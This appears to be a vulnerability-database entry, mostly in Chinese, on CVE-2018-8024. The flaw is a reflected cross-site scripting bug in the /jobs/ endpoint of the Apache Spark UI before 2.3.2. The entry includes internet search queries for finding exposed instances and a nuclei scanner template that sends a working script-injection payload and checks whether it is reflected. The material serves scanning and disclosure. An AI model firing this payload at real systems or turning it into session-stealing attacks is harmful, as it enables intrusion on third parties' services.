漏洞信息
漏洞名称: Apache Spark UI Cross-Site Scripting Vulnerability
漏洞编号:
漏洞类型: 跨站可执行脚本
漏洞等级: 中危
漏洞描述: Apache Spark是一个开源的大数据处理框架,广泛用于大规模数据处理、机器学习等场景。其用户界面(UI)提供了作业监控和管理功能,是企业级大数据处理平台中常见的组件。该漏洞影响Apache Spark UI 2.3.2之前的版本,由于未对/jobs/端点的查询字符串参数进行适当的清理,攻击者可以构造恶意的URL,当用户访问该URL时,恶意脚本会在用户浏览器中执行,从而实现跨站脚本攻击(XSS)。这种漏洞的根源在于输入验证不足,未能有效过滤或转义用户提供的输入。攻击者利用此漏洞可以窃取用户的会话令牌、重定向用户到恶意网站或在用户上下文中执行未授权的操作。由于攻击需要用户交互(如点击恶意链接),且影响范围限于用户界面,因此被评级为中危。然而,考虑到Apache Spark在企业环境中的广泛使用,此漏洞仍可能对依赖Spark进行大数据处理的组织构成显著风险。
产品厂商: Apache
产品名称: Spark
影响版本: version < 2.3.2
搜索语法: title=”spark master at”
来源: https://github.com/projectdiscovery/nuclei-templates/blob/8df03a0dd3f796dcbd6ce9d748e5d96c3b5af09f/http%2Fcves%2F2018%2FCVE-2018-8024.yaml
类型: projectdiscovery/nuclei-templates:github issues
POC详情
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| id: CVE-2018-8024
info: name: Apache Spark UI - Cross-Site Scripting author: ritikchaddha severity: medium description: | Apache Spark UI before 2.3.2 is vulnerable to XSS via unsanitized query string parameters in the /jobs/ endpoint. reference: - https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-8024 - https://nvd.nist.gov/vuln/detail/CVE-2018-8024 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-8024 cwe-id: CWE-79 epss-score: 0.52728 epss-percentile: 0.97804 cpe: cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: apache product: spark shodan-query: title:"spark master at" fofa-query: title="spark master at" tags: cve,cve2018,spark,xss,ui
http: - method: GET path: - "{{BaseURL}}/jobs/?\"'><script>alert(document.domain)</script>" - "{{Host}}:4040/jobs/?\"'><script>alert(document.domain)</script>"
matchers-condition: and matchers: - type: dsl dsl: - "status_code == 200" - "contains(content_type, 'text/html')" - "contains_all(body, '><script>alert(document.domain)</script>', 'Spark Jobs')" condition: and
|